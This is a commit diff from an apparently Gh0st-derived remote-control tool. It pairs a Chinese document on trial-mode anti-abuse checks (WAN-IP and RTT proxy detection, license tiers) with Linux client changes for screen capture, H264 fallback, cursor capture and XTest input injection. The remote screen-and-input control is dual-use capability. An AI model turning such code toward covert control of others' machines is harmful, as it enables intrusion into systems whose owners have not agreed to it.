| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialWanIpAbuse`(由 `OnAccept` `PostMessage(WM_TRIAL_WAN_IP_ABUSE)` 触发) |
|
||||||
|
| 检测时机 | 每个新连接 `accept` 后立即检测,**比 RTT 路径快**(无需累计 30 秒的中位数样本) |
|
||||||
|
| 信号源 | Proxy Protocol v2 透出的真实客户端 IP(若存在)→ 否则回退到 `getpeername` 的 raw TCP 对端 IP |
|
||||||
|
| 阈值 | 任一入站 IP 不在 RFC 1918 / RFC 3927 / 回环段 → 即触发 |
|
||||||
|
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含真实 IP + 解析来源);与 [1.10 服务端内核级 RTT 监测](#110-服务端内核级-rtt-监测sio_tcp_info) 共用 `IOCPServer::s_TrialAbuseWarned` 进程级 latch → 主窗口 `MessageBox` 弹一次 |
|
||||||
|
| 启停 | 仅在 `m_bTrialMode` 为真时执行(`StartServer` 读 `IsTrail(passcode)` 缓存);正式授权主控该分支彻底跳过 |
|
||||||
|
| 设计动机 | 补 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 —— 合作型代理(FRP / HAProxy)若发送 PP2 头,本检测就能拿到真实 IP 并直接命中。即时触发,无需等待 RTT 累积 |
|
||||||
|
| 与客户端 [1.1](#11-入站连接源-ip-段校验) 的关系 | 两层不重复:[1.1] 在 master 进程内**周期性**扫 `GetExtendedTcpTable`,看到的是内核态 raw IP,不透 PP2;本节在 `OnAccept` **即时**触发,能透 PP2 真实 IP。两层互补 |
|
||||||
|
| 已知局限 | 不发 PP2 头的代理(socat、自制 TCP 转发、不配 PP2 的 FRP)→ 看到的仍是代理的 LAN IP,**本节漏检**,由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 端到端 RTT 兜底 |
|
||||||
|
| 性能 | 每新连接增加一次 `inet_pton` + 几个位运算(< 1µs)。非试用模式下 `m_bTrialMode == false`,整段分支彻底跳过 |
|
||||||
|
|
||||||
|
### 1.10 服务端内核级 RTT 监测(`SIO_TCP_INFO`)
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `RttPollThreadProc` + `QuerySocketTcpRttUs`;[`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::SetRttUs/GetRttUs`;[`common/LANChecker.h`](../common/LANChecker.h) `class TcpRttBreachDetector` |
|
||||||
|
| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialRttAbuse`(由 RTT 轮询线程 `PostMessage(WM_TRIAL_RTT_ABUSE)` 触发) |
|
||||||
|
| 信号源 | Win10 1703+ / Server 2016+ 提供的 `WSAIoctl(SIO_TCP_INFO)`,返回 `TCP_INFO_v0.RttUs`(内核测得的纯网络 RTT,微秒精度,不含任何应用层处理) |
|
||||||
|
| 阈值参数 | 20 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次 @1Hz(最快触发 ≥ 30 秒,是 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 的 5 倍) |
|
||||||
|
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含 ClientID + 真实 IP + median RTT);全 server 进程一次性 latch(`s_TrialRttWarned` CAS)→ 主窗口 `MessageBox` 弹一次 |
|
||||||
|
| 启停 | 仅在主控自身为试用模式时(`StartServer` 读 `IsTrail(passcode)`)启动专用轮询线程;正式授权主控不启动,零运行时开销 |
|
||||||
|
| OS 不支持 | 首次 `WSAIoctl` 拿到 `WSAEOPNOTSUPP` 时打一行 `Mprintf` 日志后线程自杀;[1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 仍作为兜底 |
|
||||||
|
| 设计动机 | 服务端检测周期 30 s(vs 客户端 150 s),更快识别直接挂公网的 abusive 部署;且代码运行于发行方 / 运营商可控的服务端二进制,比客户端校验更难绕过 |
|
||||||
|
| **已知局限(重要)** | `SIO_TCP_INFO` 测得的是**服务端 ↔ 直接 TCP 对端**的 RTT。任何在 TCP 层终结的代理(FRP / ngrok / nginx / HAProxy / socat 等)会让服务端只看到"我 ↔ 代理"那段 LAN RTT,**完全漏检 WAN 段**。本机制只能识别直挂公网 / NAT / VPN 等"不终结 TCP"的部署形态;TCP 终结型代理由 [1.3](#13-应用层-rtt-反代理) 的端到端应用层 RTT 兜底(客户端心跳总耗时无法被任何中间层降低) |
|
||||||
|
| 范围 | 仅 `IOCPServer`(TCP);UDP / KCP 通道由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 继续兜底 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 分档授权与对应限制
|
||||||
|
|
||||||
|
详见 [`Compliance_AntiAbuse.md` § 7](Compliance_AntiAbuse.md) 与 [`MultiLayerLicense.md`](MultiLayerLicense.md)。本表仅列对应的强制限制点:
|
||||||
|
|
||||||
|
| 授权档 | 强制限制 | 由哪一节技术措施实施 |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| 无口令 | 监听端口 ≤ 2;服务端并发 ≤ 2 | [1.2](#12-监听端口数量上限) + [1.5](#15-服务端硬性并发连接上限) |
|
||||||
|
| 试用口令 | 入站 IP 必须私网段;端口 ≤ 20;客户端 RTT ≤ 25 ms;服务端内核 RTT ≤ 20 ms;周期回连授权服务器;系统时钟可信 | [1.1](#11-入站连接源-ip-段校验) + [1.2](#12-监听端口数量上限) + [1.3](#13-应用层-rtt-反代理) + [1.4](#14-授权服务器周期心跳与超时熔断) + [1.6](#16-系统时钟篡改检测) + [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
|
||||||
|
| 正式授权 | 由签发协议另行约定,技术上解除 1.1 / 1.3 / 1.9 / 1.10 限制 | [1.8](#18-主控授权状态下发) 由服务端下发 `IsTrail=0` 触发客户端关闭;服务端 `IsTrail` 为假时 [1.9](#19-服务端入站-ip-段即时检测) / [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 均跳过 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 演进时间线(合规相关提交)
|
||||||
|
|
||||||
|
按发布时间倒序排列。`SHA` 列为 `git log --oneline` 可直接核对的短哈希;任何
|
||||||
|
独立第三方均可在公开仓库通过 `git show <SHA>` 自行验证。
|
||||||
|
|
||||||
|
| 日期 | SHA | 主题 | 关联节 |
|
||||||
|
| --- | --- | --- | --- |
|
||||||
|
| 2026-05-16 | `7f95f00` | Compliance: Server-side anti-proxy — accept-time WAN-IP check + SIO_TCP_INFO kernel-RTT | [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
|
||||||
|
| 2026-05-15 | `4279e79` | Compliance fix: Move LAN RTT check to KernelManager heartbeat | [1.3](#13-应用层-rtt-反代理) / [1.8](#18-主控授权状态下发) |
|
||||||
|
| 2026-05-14 | `14387d6` | Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer | [1.3](#13-应用层-rtt-反代理) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) v1.0 发布 |
|
||||||
|
| —(既往) | — | `LANChecker` IP 段 / 端口数检测、`AuthTimeoutChecker` 授权心跳、`DateVerify` 时钟校验等机制 | [1.1](#11-入站连接源-ip-段校验) / [1.2](#12-监听端口数量上限) / [1.4](#14-授权服务器周期心跳与超时熔断) / [1.6](#16-系统时钟篡改检测) |
|
||||||
|
|
||||||
|
> 后续提交按 commit message 前缀 `Compliance:` 或 `Compliance fix:` 识别,加入本表。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 规划中的技术措施
|
||||||
|
|
||||||
|
> 以下条目为已确定方向但尚未合入主分支的工作项,列出便于审查方了解未来演进。
|
||||||
|
|
||||||
|
### 4.1 行为信号融合(占位)
|
||||||
|
|
||||||
|
`LANRttChecker` 源码注释中明示的"同源 IP 多 ClientID"行为信号待并入。
|
||||||
|
计划在授权服务器侧实现,与本仓库客户端 / 主控代码解耦。
|
||||||
|
|
||||||
|
针对 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 ——
|
||||||
|
合作型代理(FRP / HAProxy)发送 Proxy Protocol v2 头的情况已由 [1.9](#19-服务端入站-ip-段即时检测) 兜住;
|
||||||
|
不发 PP2 的代理(socat、自制 TCP 转发)的残留盲区由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理)
|
||||||
|
端到端 RTT 兜底,本仓库内无进一步可加的服务端措施。后续考虑授权服务器侧"同源 IP 多 ClientID"
|
||||||
|
行为信号作为外部交叉验证。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 维护者注意事项
|
||||||
|
|
||||||
|
> **对未来修改本仓库的任何贡献者**:以下文件 / 模块的削弱、移除、绕过型修改
|
||||||
|
> 应被视为对发行方反滥用立场的直接违反,PR 一律拒收。即使您是为了"优化体验"
|
||||||
|
> 或"修复误报",也请优先选择**调阈值 / 加白名单**而非**禁用机制**。
|
||||||
|
|
||||||
|
| 不可被静默削弱的内容 | 文件 |
|
||||||
|
| --- | --- |
|
||||||
|
| `LANChecker::CheckAndWarn` 中私网段判定逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
|
||||||
|
| `LANChecker::CheckPortLimit` 的端口数比对 | 同上 |
|
||||||
|
| `LANRttChecker::SetEnabled` 的启停语义 | 同上 |
|
||||||
|
| `LANRttChecker::RecordSample` 的滑窗 / 收敛 / 持续超阈逻辑 | 同上 |
|
||||||
|
| `AuthTimeoutChecker` 的超时熔断分支 | 同上 |
|
||||||
|
| `DateVerify::isTimeTampered` 的多 NTP 比对 | [`common/DateVerify.h`](../common/DateVerify.h) |
|
||||||
|
| 服务端 `m_nMaxConnection` 在未授权 / 失效校验时回落到 2 的分支 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
|
||||||
|
| 服务端 `MasterSettings.Authorized` / `IsTrail` 字段的真实填充逻辑 | 同上 |
|
||||||
|
| 客户端 `OnHeatbeatResponse` 中 `LANRttChecker` 的调用、`AuthTimeoutChecker` 的复位 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) |
|
||||||
|
| `TcpRttBreachDetector` 滑窗 / 收敛 / 持续超阈逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
|
||||||
|
| `IOCPServer::OnAccept` 末段试用模式下的入站 IP 段判定(PP2 真实 IP 优先) | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) |
|
||||||
|
| `IOCPServer::RttPollThreadProc` 试用模式判定、SIO_TCP_INFO 探测、per-context 检测器喂样 | 同上 |
|
||||||
|
| 主对话框 `OnTrialRttAbuse` / `OnTrialWanIpAbuse` 弹框 + 日志归档;`WM_TRIAL_RTT_ABUSE` / `WM_TRIAL_WAN_IP_ABUSE` 消息映射 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
|
||||||
|
| `LANChecker::IsPrivateIPv4Str` 字符串版私网段判定(被 §1.9 直接依赖) | [`common/LANChecker.h`](../common/LANChecker.h) |
|
||||||
|
|
||||||
|
允许的修改方向:
|
||||||
|
|
||||||
|
- 调整阈值参数(需在 PR 中给出新的统计依据);
|
||||||
|
- 新增告警通道(如增加日志落盘 / 加 webhook 通知),但不得替换原有告警通道;
|
||||||
|
- 提高检测精度(如本文档 §4 所列规划项);
|
||||||
|
- 修复 OS 兼容性 bug,但不得以"OS 不支持"为由整体跳过试用档的检测。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 与政策文档的对照表
|
||||||
|
|
||||||
|
便于审查方在本仓库技术实现 ↔ `Compliance_AntiAbuse.md` 政策条款之间双向追溯。
|
||||||
|
|
||||||
|
| 政策条款 | 本文档节 |
|
||||||
|
| --- | --- |
|
||||||
|
| § 6.1 入站连接源 IP 段校验 | [1.1](#11-入站连接源-ip-段校验) |
|
||||||
|
| § 6.2 监听端口数量上限 | [1.2](#12-监听端口数量上限) |
|
||||||
|
| § 6.3 应用层 RTT 反代理 | [1.3](#13-应用层-rtt-反代理) + [1.9](#19-服务端入站-ip-段即时检测)(服务端即时 IP 段判定)+ [1.10](#110-服务端内核级-rtt-监测sio_tcp_info)(服务端内核级 RTT 补强) |
|
||||||
|
| § 6.4 授权服务器周期心跳 | [1.4](#14-授权服务器周期心跳与超时熔断) |
|
||||||
|
| § 6.5 措施的可被感知性 | 见各节"触发动作"列 |
|
||||||
|
| § 6.6 措施的合理性声明 | 见各节"已知局限"列 |
|
||||||
|
| § 7 授权分级与对应限制 | [2](#2-分档授权与对应限制) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
文档结束 / END OF DOCUMENT
|
||||||
@@ -28,6 +28,7 @@ set(SOURCES
|
|||||||
main.cpp
|
main.cpp
|
||||||
../client/Buffer.cpp
|
../client/Buffer.cpp
|
||||||
../client/IOCPClient.cpp
|
../client/IOCPClient.cpp
|
||||||
|
../client/sign_shim_unix.cpp
|
||||||
)
|
)
|
||||||
add_executable(ghost ${SOURCES})
|
add_executable(ghost ${SOURCES})
|
||||||
|
|
||||||
@@ -40,6 +41,14 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
|
|||||||
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||||
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||||
|
|
||||||
|
# 链接私有签名库(提供 signMessage / verifyMessage,源码不开源)
|
||||||
|
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
|
||||||
|
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a")
|
||||||
|
|
||||||
|
# libsign.a 内部使用 OpenSSL HMAC,需要在最终可执行链接 libcrypto
|
||||||
|
find_package(OpenSSL REQUIRED)
|
||||||
|
target_link_libraries(ghost PRIVATE OpenSSL::Crypto)
|
||||||
|
|
||||||
# 链接 dl 库(dlopen/dlsym 用于运行时加载 X11)
|
# 链接 dl 库(dlopen/dlsym 用于运行时加载 X11)
|
||||||
target_link_libraries(ghost PRIVATE dl)
|
target_link_libraries(ghost PRIVATE dl)
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,8 @@
|
|||||||
#include "client/IOCPClient.h"
|
#include "client/IOCPClient.h"
|
||||||
#include "LinuxConfig.h"
|
#include "LinuxConfig.h"
|
||||||
#include "ClipboardHandler.h"
|
#include "ClipboardHandler.h"
|
||||||
#include "FileTransferV2.h"
|
#include "common/FileTransferV2.h"
|
||||||
|
#include "X264Encoder.h"
|
||||||
#include <dlfcn.h>
|
#include <dlfcn.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <thread>
|
#include <thread>
|
||||||
@@ -11,7 +12,9 @@
|
|||||||
#include <atomic>
|
#include <atomic>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
#include <cstdlib>
|
||||||
#include <stdexcept>
|
#include <stdexcept>
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
// 客户端 ID(定义在 main.cpp)
|
// 客户端 ID(定义在 main.cpp)
|
||||||
extern uint64_t g_myClientID;
|
extern uint64_t g_myClientID;
|
||||||
@@ -110,27 +113,39 @@ struct XGCValues_LNX {
|
|||||||
#define IncludeInferiors 1
|
#define IncludeInferiors 1
|
||||||
|
|
||||||
// ============== 屏幕算法常量 ==============
|
// ============== 屏幕算法常量 ==============
|
||||||
#define ALGORITHM_GRAY 0
|
// 常量定义已移至 commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565
|
||||||
#define ALGORITHM_DIFF 1
|
|
||||||
#define ALGORITHM_H264 2
|
|
||||||
#define ALGORITHM_RGB565 3
|
|
||||||
|
|
||||||
// 算法支持表(编译时常量,日后支持 H264 时改为 true)
|
// 检查算法是否支持(H264 需要运行时检测)
|
||||||
static const bool g_SupportedAlgo[] = {
|
inline bool IsAlgorithmSupported(uint8_t algo) {
|
||||||
true, // ALGORITHM_GRAY = 0
|
switch (algo) {
|
||||||
true, // ALGORITHM_DIFF = 1
|
case ALGORITHM_GRAY:
|
||||||
false, // ALGORITHM_H264 = 2
|
case ALGORITHM_DIFF:
|
||||||
true, // ALGORITHM_RGB565 = 3
|
case ALGORITHM_RGB565:
|
||||||
};
|
return true;
|
||||||
|
case ALGORITHM_H264:
|
||||||
|
return X264Encoder::IsAvailable();
|
||||||
|
default:
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 不支持的算法降级为 RGB565
|
// 不支持的算法降级为 RGB565
|
||||||
inline uint8_t GetEffectiveAlgorithm(uint8_t algo) {
|
inline uint8_t GetEffectiveAlgorithm(uint8_t algo) {
|
||||||
if (algo > 3 || !g_SupportedAlgo[algo]) {
|
if (!IsAlgorithmSupported(algo)) {
|
||||||
|
Mprintf(">>> Algorithm %d not supported, fallback to RGB565\n", algo);
|
||||||
return ALGORITHM_RGB565;
|
return ALGORITHM_RGB565;
|
||||||
}
|
}
|
||||||
return algo;
|
return algo;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 码率到 CRF 映射 (参考 Windows/macOS 实现)
|
||||||
|
inline int BitRateToCRF(int bitrate) {
|
||||||
|
if (bitrate >= 3000) return 20; // 高质量
|
||||||
|
if (bitrate >= 2000) return 23; // 中等
|
||||||
|
if (bitrate >= 1200) return 26; // 较低
|
||||||
|
return 30; // 最低
|
||||||
|
}
|
||||||
|
|
||||||
// ============== 颜色转换函数 ==============
|
// ============== 颜色转换函数 ==============
|
||||||
|
|
||||||
// BGRA → 灰度 (Y = 0.299R + 0.587G + 0.114B)
|
// BGRA → 灰度 (Y = 0.299R + 0.587G + 0.114B)
|
||||||
@@ -375,6 +390,16 @@ static unsigned long VKtoKeySym(unsigned int vk)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// XFixes cursor image structure (for cursor type detection)
|
||||||
|
struct XFixesCursorImage {
|
||||||
|
short x, y;
|
||||||
|
unsigned short width, height;
|
||||||
|
unsigned short xhot, yhot;
|
||||||
|
unsigned long cursor_serial;
|
||||||
|
unsigned long* pixels;
|
||||||
|
// Atom cursor_name; // Only in XFixes 2.0+
|
||||||
|
};
|
||||||
|
|
||||||
// X11 函数指针类型
|
// X11 函数指针类型
|
||||||
typedef Display* (*fn_XOpenDisplay)(const char*);
|
typedef Display* (*fn_XOpenDisplay)(const char*);
|
||||||
typedef int (*fn_XCloseDisplay)(Display*);
|
typedef int (*fn_XCloseDisplay)(Display*);
|
||||||
@@ -391,12 +416,18 @@ typedef int (*fn_XSync)(Display*, int);
|
|||||||
typedef unsigned long (*fn_XKeysymToKeycode)(Display*, unsigned long);
|
typedef unsigned long (*fn_XKeysymToKeycode)(Display*, unsigned long);
|
||||||
typedef int (*fn_XFlush)(Display*);
|
typedef int (*fn_XFlush)(Display*);
|
||||||
typedef int (*fn_XClearArea)(Display*, Window, int, int, unsigned int, unsigned int, int);
|
typedef int (*fn_XClearArea)(Display*, Window, int, int, unsigned int, unsigned int, int);
|
||||||
|
typedef int (*fn_XQueryPointer)(Display*, Window, Window*, Window*, int*, int*, int*, int*, unsigned int*);
|
||||||
|
typedef int (*fn_XFree)(void*);
|
||||||
|
|
||||||
// XTest 扩展函数指针类型(用于模拟鼠标/键盘输入)
|
// XTest 扩展函数指针类型(用于模拟鼠标/键盘输入)
|
||||||
typedef int (*fn_XTestFakeMotionEvent)(Display*, int, int, int, unsigned long);
|
typedef int (*fn_XTestFakeMotionEvent)(Display*, int, int, int, unsigned long);
|
||||||
typedef int (*fn_XTestFakeButtonEvent)(Display*, unsigned int, int, unsigned long);
|
typedef int (*fn_XTestFakeButtonEvent)(Display*, unsigned int, int, unsigned long);
|
||||||
typedef int (*fn_XTestFakeKeyEvent)(Display*, unsigned int, int, unsigned long);
|
typedef int (*fn_XTestFakeKeyEvent)(Display*, unsigned int, int, unsigned long);
|
||||||
|
|
||||||
|
// XFixes 扩展函数指针类型(用于光标类型检测)
|
||||||
|
typedef int (*fn_XFixesQueryExtension)(Display*, int*, int*);
|
||||||
|
typedef XFixesCursorImage* (*fn_XFixesGetCursorImage)(Display*);
|
||||||
|
|
||||||
// X11 动态加载包装
|
// X11 动态加载包装
|
||||||
class X11Loader
|
class X11Loader
|
||||||
{
|
{
|
||||||
@@ -430,13 +461,19 @@ public:
|
|||||||
fn_XKeysymToKeycode pXKeysymToKeycode;
|
fn_XKeysymToKeycode pXKeysymToKeycode;
|
||||||
fn_XFlush pXFlush;
|
fn_XFlush pXFlush;
|
||||||
fn_XClearArea pXClearArea;
|
fn_XClearArea pXClearArea;
|
||||||
|
fn_XQueryPointer pXQueryPointer;
|
||||||
|
fn_XFree pXFree;
|
||||||
|
|
||||||
// XTest 扩展(用于模拟输入)
|
// XTest 扩展(用于模拟输入)
|
||||||
fn_XTestFakeMotionEvent pXTestFakeMotionEvent;
|
fn_XTestFakeMotionEvent pXTestFakeMotionEvent;
|
||||||
fn_XTestFakeButtonEvent pXTestFakeButtonEvent;
|
fn_XTestFakeButtonEvent pXTestFakeButtonEvent;
|
||||||
fn_XTestFakeKeyEvent pXTestFakeKeyEvent;
|
fn_XTestFakeKeyEvent pXTestFakeKeyEvent;
|
||||||
|
|
||||||
X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr)
|
// XFixes 扩展(用于光标类型检测)
|
||||||
|
fn_XFixesQueryExtension pXFixesQueryExtension;
|
||||||
|
fn_XFixesGetCursorImage pXFixesGetCursorImage;
|
||||||
|
|
||||||
|
X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr), m_xfixes_handle(nullptr)
|
||||||
{
|
{
|
||||||
pXOpenDisplay = nullptr;
|
pXOpenDisplay = nullptr;
|
||||||
pXCloseDisplay = nullptr;
|
pXCloseDisplay = nullptr;
|
||||||
@@ -457,9 +494,13 @@ public:
|
|||||||
pXKeysymToKeycode = nullptr;
|
pXKeysymToKeycode = nullptr;
|
||||||
pXFlush = nullptr;
|
pXFlush = nullptr;
|
||||||
pXClearArea = nullptr;
|
pXClearArea = nullptr;
|
||||||
|
pXQueryPointer = nullptr;
|
||||||
|
pXFree = nullptr;
|
||||||
pXTestFakeMotionEvent = nullptr;
|
pXTestFakeMotionEvent = nullptr;
|
||||||
pXTestFakeButtonEvent = nullptr;
|
pXTestFakeButtonEvent = nullptr;
|
||||||
pXTestFakeKeyEvent = nullptr;
|
pXTestFakeKeyEvent = nullptr;
|
||||||
|
pXFixesQueryExtension = nullptr;
|
||||||
|
pXFixesGetCursorImage = nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Load()
|
bool Load()
|
||||||
@@ -489,6 +530,8 @@ public:
|
|||||||
pXKeysymToKeycode = (fn_XKeysymToKeycode)dlsym(m_handle, "XKeysymToKeycode");
|
pXKeysymToKeycode = (fn_XKeysymToKeycode)dlsym(m_handle, "XKeysymToKeycode");
|
||||||
pXFlush = (fn_XFlush)dlsym(m_handle, "XFlush");
|
pXFlush = (fn_XFlush)dlsym(m_handle, "XFlush");
|
||||||
pXClearArea = (fn_XClearArea)dlsym(m_handle, "XClearArea");
|
pXClearArea = (fn_XClearArea)dlsym(m_handle, "XClearArea");
|
||||||
|
pXQueryPointer = (fn_XQueryPointer)dlsym(m_handle, "XQueryPointer");
|
||||||
|
pXFree = (fn_XFree)dlsym(m_handle, "XFree");
|
||||||
|
|
||||||
// 加载 XTest 扩展库(用于模拟鼠标/键盘输入)
|
// 加载 XTest 扩展库(用于模拟鼠标/键盘输入)
|
||||||
m_xtst_handle = dlopen("libXtst.so.6", RTLD_LAZY);
|
m_xtst_handle = dlopen("libXtst.so.6", RTLD_LAZY);
|
||||||
@@ -499,7 +542,15 @@ public:
|
|||||||
pXTestFakeKeyEvent = (fn_XTestFakeKeyEvent)dlsym(m_xtst_handle, "XTestFakeKeyEvent");
|
pXTestFakeKeyEvent = (fn_XTestFakeKeyEvent)dlsym(m_xtst_handle, "XTestFakeKeyEvent");
|
||||||
}
|
}
|
||||||
|
|
||||||
// 基本 X11 函数必须全部存在;XTest 函数可选(没有时无法控制输入)
|
// 加载 XFixes 扩展库(用于光标类型检测)
|
||||||
|
m_xfixes_handle = dlopen("libXfixes.so.3", RTLD_LAZY);
|
||||||
|
if (!m_xfixes_handle) m_xfixes_handle = dlopen("libXfixes.so", RTLD_LAZY);
|
||||||
|
if (m_xfixes_handle) {
|
||||||
|
pXFixesQueryExtension = (fn_XFixesQueryExtension)dlsym(m_xfixes_handle, "XFixesQueryExtension");
|
||||||
|
pXFixesGetCursorImage = (fn_XFixesGetCursorImage)dlsym(m_xfixes_handle, "XFixesGetCursorImage");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 基本 X11 函数必须全部存在;XTest/XFixes 函数可选
|
||||||
return pXOpenDisplay && pXCloseDisplay && pXGetImage && pXDestroyImage &&
|
return pXOpenDisplay && pXCloseDisplay && pXGetImage && pXDestroyImage &&
|
||||||
pXDefaultScreen && pXDisplayWidth && pXDisplayHeight && pXRootWindow &&
|
pXDefaultScreen && pXDisplayWidth && pXDisplayHeight && pXRootWindow &&
|
||||||
pXSetErrorHandler && pXCreatePixmap && pXFreePixmap &&
|
pXSetErrorHandler && pXCreatePixmap && pXFreePixmap &&
|
||||||
@@ -513,8 +564,18 @@ public:
|
|||||||
return pXTestFakeMotionEvent && pXTestFakeButtonEvent && pXTestFakeKeyEvent;
|
return pXTestFakeMotionEvent && pXTestFakeButtonEvent && pXTestFakeKeyEvent;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 检查 XFixes 扩展是否可用
|
||||||
|
bool HasXFixes() const
|
||||||
|
{
|
||||||
|
return pXFixesGetCursorImage != nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
~X11Loader()
|
~X11Loader()
|
||||||
{
|
{
|
||||||
|
if (m_xfixes_handle) {
|
||||||
|
dlclose(m_xfixes_handle);
|
||||||
|
m_xfixes_handle = nullptr;
|
||||||
|
}
|
||||||
if (m_xtst_handle) {
|
if (m_xtst_handle) {
|
||||||
dlclose(m_xtst_handle);
|
dlclose(m_xtst_handle);
|
||||||
m_xtst_handle = nullptr;
|
m_xtst_handle = nullptr;
|
||||||
@@ -528,6 +589,7 @@ public:
|
|||||||
private:
|
private:
|
||||||
void* m_handle;
|
void* m_handle;
|
||||||
void* m_xtst_handle;
|
void* m_xtst_handle;
|
||||||
|
void* m_xfixes_handle;
|
||||||
};
|
};
|
||||||
|
|
||||||
class ScreenHandler : public IOCPManager
|
class ScreenHandler : public IOCPManager
|
||||||
@@ -538,7 +600,8 @@ public:
|
|||||||
m_inputDisplay(nullptr),
|
m_inputDisplay(nullptr),
|
||||||
m_width(0), m_height(0),
|
m_width(0), m_height(0),
|
||||||
m_pixmap(0), m_gc(nullptr), m_xtestWarned(false),
|
m_pixmap(0), m_gc(nullptr), m_xtestWarned(false),
|
||||||
m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE)
|
m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE),
|
||||||
|
m_h264Bitrate(2000)
|
||||||
{
|
{
|
||||||
if (!client) {
|
if (!client) {
|
||||||
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
||||||
@@ -651,11 +714,21 @@ public:
|
|||||||
// Double-check after acquiring lock
|
// Double-check after acquiring lock
|
||||||
if (m_destroyed) return;
|
if (m_destroyed) return;
|
||||||
|
|
||||||
// Prevent starting if thread is already running or joinable
|
// If already running, just send TOKEN_BITMAPINFO again
|
||||||
if (m_captureThread.joinable()) return;
|
// This allows server to create additional dialogs (MFC can open while Web is active)
|
||||||
|
if (m_captureThread.joinable() || m_running.load()) {
|
||||||
|
Mprintf(">>> ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog\n");
|
||||||
|
SendBitmapInfo();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
bool expected = false;
|
bool expected = false;
|
||||||
if (!m_running.compare_exchange_strong(expected, true)) return;
|
if (!m_running.compare_exchange_strong(expected, true)) {
|
||||||
|
// Race condition: another thread started first, send bitmap info
|
||||||
|
Mprintf(">>> ScreenHandler race, sending TOKEN_BITMAPINFO for new dialog\n");
|
||||||
|
SendBitmapInfo();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this);
|
m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this);
|
||||||
}
|
}
|
||||||
@@ -873,12 +946,28 @@ public:
|
|||||||
// 应用帧率
|
// 应用帧率
|
||||||
m_maxFPS.store(profile.maxFPS);
|
m_maxFPS.store(profile.maxFPS);
|
||||||
|
|
||||||
|
// 应用码率(H264 使用)
|
||||||
|
int oldBitrate = m_h264Bitrate;
|
||||||
|
m_h264Bitrate = profile.bitRate;
|
||||||
|
|
||||||
// 应用算法(带降级处理)
|
